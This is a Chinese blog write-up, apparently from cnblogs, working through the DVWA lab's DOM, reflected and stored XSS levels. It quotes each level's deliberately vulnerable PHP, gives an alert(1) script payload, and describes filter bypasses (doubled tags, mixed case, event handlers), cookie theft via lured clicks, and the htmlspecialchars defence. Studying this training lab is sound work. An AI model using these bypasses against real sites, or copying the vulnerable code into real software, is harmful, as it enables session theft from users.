    这个用的白名单,一开始我也感觉没有什么办法,知道后面看见了别人的笔记才发现,URL有一个比较关键的点就是#号后面的内容是会被服务器忽略的,而这里用的JS是提取default=后面的所有内容,包括#,这样#后面的JS代码也能够成功植入,payload:

    ?default=English#<script>alert(1);</script>
    

    Impossible

    这个竟然不URL解码直接贴上来。。好吧

    Reflected Cross Site Scripting (XSS)

    Low

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?>
    

    通过简单的拼接将输入的name反馈到前端,直接<script>alert(1);</script>就能试出来了,这种攻击方式主要是诱导用户点击危险的url配合vps导致Cookie被盗取,像上面的是直接get传参的,那么对后面的利用语句进行url编码,就能欺骗一般人去点击。

    Medium

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    简单的过滤,这种只要双写就能绕过了,过滤危险字符务必多次过滤。

    High

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    这里的防御思路是过滤<script>标签,但是并不一定只有这种标签才能触发js函数,除此之外可以用onload事件,onerror事件,onclick事件,onkeydown事件等等。

    Impossible

    源码:

    
    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    最有效的办法就是用htmlspecialchars事件将所有危险字符转移掉,这样就比较难造成XSS

    Stored Cross Site Scripting (XSS)

    Low

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    从前端获得的用户输入不经过任何过滤直接存储,导致的XSS,这种类型相对于反射性利用起来更方便一点,然后这里还限制了输入长度,但是直接右键修改HTML就可以了,不需要抓包修改,另外这里的stripslashes用在这里干嘛的不是很懂,有哪位大佬看到希望可以指教一下。

    Medium

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    这里对message的过滤比较严谨,但是name的很薄弱,除了上面提到的使用其他标签绕过,还可以使用大小写绕过

    High

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    好吧。。依旧是没有考虑其他标签触发js事件的情况,同上。

    Impossible

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
    
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    这里用htmlspecialchars解决了XSS注入,但是这个函数默认不过滤单引号,最好还是要注意一下,不然在某些情况下还是能够绕过的。

  • 相关阅读:
    斐波那契数列
    MySQL
    GIT
    shell执行Python并传参
    摘选改善Python程序的91个建议2
    摘选改善Python程序的91个建议
    django执行原生sql
    admin
    分支&循环
    git
  • 原文地址:https://www.cnblogs.com/Rasang/p/12231128.html
Copyright © 2011-2022 走看看